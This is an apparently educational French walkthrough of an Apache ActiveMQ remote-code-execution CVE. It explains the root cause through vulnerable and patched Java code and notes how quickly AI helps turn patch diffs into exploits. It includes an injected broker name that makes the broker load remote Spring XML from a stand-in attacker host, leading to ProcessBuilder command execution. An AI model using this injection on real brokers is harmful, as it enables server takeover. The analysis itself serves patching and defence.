
# Procédure pas à pas pédagogique et preuve de concept pour CVE-2026-41044, une RCE Apache ActiveMQ, avec analyse de la cause racine et script de détection.
Note : À des fins éducatives uniquement
CVE-2026-41044 a été divulguée le 24 avril 2026. Il s'agit d'un bug d'exécution de code à distance dans Apache ActiveMQ Classic, découvert par jsjcw, corrigé dans les versions 5.19.6 et 6.2.5. Je ne l'ai pas trouvée.
Ce que je veux montrer, c'est comment une personne qui n'a jamais touché à ActiveMQ peut produire un exploit fonctionnel d'une N-day en un après-midi, parce que le code corrigé est public, le code non corrigé est public, et l'écart entre les deux est à un git diff près.
Le processus est simple :
Ce qui prenait des jours prend maintenant un après-midi. L'IA ne trouve pas les bugs. Elle lit le code et l'explique aussi vite que vous posez des questions. La partie coûteuse reste vous : décider ce qui est réellement exploitable, où se trouvent les véritables frontières de confiance, ce qui nécessite une vérification. Le modèle parcourt simplement les graphes d'appels plus vite qu'aucun humain ne le peut.
Le point essentiel : si votre processus de correction suppose une semaine d'analyse par CVE, vous êtes sur l'ancienne échelle de temps. git diff a la même longueur, que vous écriviez des règles de détection ou des exploits.
ActiveMQ est un courtier de messages (message broker). Il se place au milieu et fait transiter les messages entre les applications. Considérez-le comme un bureau de poste : les applications déposent des messages, ActiveMQ les livre au bon destinataire. Il est largement déployé dans les piles Java d'entreprise et expose une console web ainsi qu'une API de gestion REST appelée Jolokia à /api/jolokia/. Dans de nombreux déploiements, les identifiants par défaut sont encore admin:admin.
ActiveMQ permettait à tout utilisateur authentifié de charger une configuration de courtier depuis une URL HTTP arbitraire, que Spring analysait et exécutait immédiatement sous forme d'objets Java - y compris ProcessBuilder - donnant à l'attaquant une exécution complète de commandes OS sur le serveur du courtier.
localhost./api/jolokia/ qui expose les opérations de gestion sous forme d'API REST. Toute identité valide de la console web y accède - pas seulement l'administrateur.vm:// : le transport intra-processus utilisé lorsqu'un client réside dans la même JVM que le courtier. Il accepte un paramètre de requête ?brokerConfig= pointant vers une configuration XML Spring pour amorcer un courtier.xbean: : un schéma d'URL qui indique à ActiveMQ de traiter l'URL comme une configuration XML Spring et de la charger.init-method : Spring lit le XML et crée automatiquement des objets Java (beans). L'attribut init-method indique à Spring d'appeler une méthode sur le bean au moment de sa création - avant que quoi que ce soit d'autre ne s'exécute.ProcessBuilder : une classe Java standard qui exécute des commandes OS. ProcessBuilder.start() exécute la commande.DestinationView.sendTextMessage() dans la version 5.19.2 construit une URL de connexion au courtier en concaténant directement le nom du courtier dans une chaîne :
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Si getBrokerName() renvoie localhost?brokerConfig=xbean:http://attacker/poison.xml, cette chaîne entière devient une URI vm:// valide avec un paramètre de requête intégré. ActiveMQConnectionFactory la transmet à VMTransportFactory, qui extrait le paramètre brokerConfig et l'utilise comme URL de configuration d'amorçage du courtier.
Le correctif dans la version 5.19.6 tient en une ligne :
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String devient URI - la concaténation accidentelle n'est plus possible. La valeur provient d'un objet URI pré-construit et immuable dérivé du connecteur VM réellement enregistré du courtier, et non d'une chaîne de nom modifiable.
Pour que la Couche 1 soit exploitable, le nom du courtier doit d'abord être empoisonné. BrokerService a toujours assaini les noms de courtiers :
// BrokerService.setBrokerName() - présent dans LES DEUX versions
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Cette expression régulière élimine proprement ? et =. La CVE existait parce que RegionBroker avait son propre setter séparé qui ne le faisait pas :
// 5.19.2 - RegionBroker.java
private String brokerName; // modifiable
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // aucune validation
}
C'est un cas classique de député confus (confused deputy) - deux setters sur des classes liées, un seul assainit. Un pair distant diffusant un paquet BrokerInfo falsifié avec un champ de nom empoisonné atteint directement RegionBroker.setBrokerName(), contournant entièrement l'expression régulière de BrokerService.
Le correctif dans la version 5.19.6 supprime le setter, rend le champ final et l'initialise une seule fois à partir du parent déjà assaini :
// 5.19.6 - RegionBroker.java
private final String brokerName; // immuable
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() a disparu. Il n'y a plus de setter.
}
On ne peut pas contourner un assainisseur qui n'a plus d'écrivain parallèle.
VMTransportFactory.doCompositeConnect() est la fonction qui prend l'URI vm://...?brokerConfig=..., extrait le paramètre brokerConfig et appelle BrokerFactory.createBroker(brokerURI). C'est le mécanisme déclencheur de toute la chaîne.
Apache n'y a strictement rien changé.
Ce choix en dit long sur leur façon de concevoir le correctif. VMTransportFactory fait un travail légitime - les transports vm:// sont réellement censés accepter des configurations d'amorçage. La corriger aurait cassé la conception prévue. Au lieu de cela, Apache a corrigé le bug à la source (Couche 2 : aucun nom empoisonné ne peut être écrit) et au puits (Couche 5 : même si une URL empoisonnée passait, le résolveur de ressources ne la récupérerait pas).
Corrigez les couches où la validation a sa place, pas la couche par laquelle l'attaquant est passé par hasard.